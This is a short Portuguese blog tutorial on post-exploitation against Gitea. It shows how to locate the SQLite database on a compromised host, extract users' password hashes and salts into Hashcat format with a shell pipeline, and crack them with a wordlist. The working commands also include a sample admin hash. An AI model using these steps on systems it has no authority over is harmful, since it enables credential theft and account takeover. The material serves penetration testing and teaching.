Pular para o conteúdo principal

Extraindo Usuários do Gitea

· 3 min para ler
Raphael Sander
Senior DevSecOps

Quando ganhamos acesso a um host porém precisamos escalar privilégios e conseguir acesso à autenticação de usuário com permissões mais elevadas pode ser um desafio. Nesse post irei mostrar como fazer a extração e quebra dos usuários presentes no DB da aplicação Gitea, mas que pode não se limitar apenas a este.

Localizando o Gitea DB

A localização do banco de dados do Gitea em caso de ser Sqlite3, é definido no setup inicial ou via variável de ambiente caso conteinerizado.

gitea_db_setup

Este é apenas um cenário caso você tenha acesso a uma shell ou uma falha de RCE no host alvo, caso contrário será necessário identificar a localização do arquivo e download de outra maneira.

find / -name gitea.db 2>/dev/null
# ou
find / -name *.db 2>/dev/null

Extraindo o Hash do Usuários

Abaixo iremos extrair o usuário da tabela user e formatar para que o salt e o hash fiquem no formato reconhecido pelo Hashcat.

sqlite3 gitea.db "select passwd,salt,name from user" | \
while read data; do
digest=$(echo "$data" | cut -d'|' -f1 | xxd -r -p | base64);
salt=$(echo "$data" | cut -d'|' -f2 | xxd -r -p | base64);
name=$(echo $data | cut -d'|' -f3);
echo "${name}:sha256:50000:${salt}:${digest}";
done | \
tee gitea.hashes

Resultado:

# <user>:<algoritm>:<interaction_number>:<salt>:<digest>
admin:sha256:50000:dgaKi9oBOPF7HkA4p4/dmQ==:sPxfp5JlXb0HURMg3Xwv9UmEQkYtRn+VZAbakCuPHwZRJfACimU+2t4yQVEoWo3wuss=

<user>: Indica o nome ou identificador do usuário.
<algoritm>: Especifica o algoritmo de hash utilizado para transformar a senha em uma sequência fixa (neste caso, SHA-256).
<50000>: Representa o número de iterações que o algoritmo de hash é aplicado. Essa repetição torna o processo de cálculo mais lento, ajudando a dificultar ataques de força bruta.
<salt>: É um valor aleatório adicionado à senha antes de aplicar o hash. O salt previne o uso de tabelas pré-calculadas (rainbow tables) e garante que senhas iguais não resultem no mesmo hash.
<digest>: É o resultado final (o hash) da senha combinada com o salt, processada pelo algoritmo SHA-256 o número especificado de vezes.

Note que o salt e o digest precisam estar em base64 porque para esse hash é solicitado pelo Hashcat. Podemos ver isso com o argumento --hash-info:

hashcat -m 10900 --hash-info

hash_info

O número de iterações pode ser diferente dependendo do PASSWORD_HASH_ALGO utilizado durante o setup ou como variável de ambiente. Abaixo temos as opções de PASSWORD_HASH_ALGO, note que no caso do pbkdf2, há várias iterações possíveis (10000, 50000 e 320000).

argon2: argon2$2$65536$8$50
bcrypt: bcrypt$10
pbkdf2: pbkdf2$50000$50
pbkdf2_v1: pbkdf2$10000$50
pbkdf2_v2: pbkdf2$50000$50
pbkdf2_hi: pbkdf2$320000$50
scrypt: scrypt$65536$16$2$50

Isso vai estar disponível no próprio banco de dados:

$ sqlite3 gitea.db "select passwd_hash_algo from user"
pbkdf2$50000$50

Quebra do Hash

Para a quebra dos hashes utilizando o hashcat é bem simples e inclusive pode ser omitido o argumento que indica do algorítmo porque será automaticamente definido.

hashcat gitea.hashes /usr/share/wordlists/rockyou.txt --user

Referências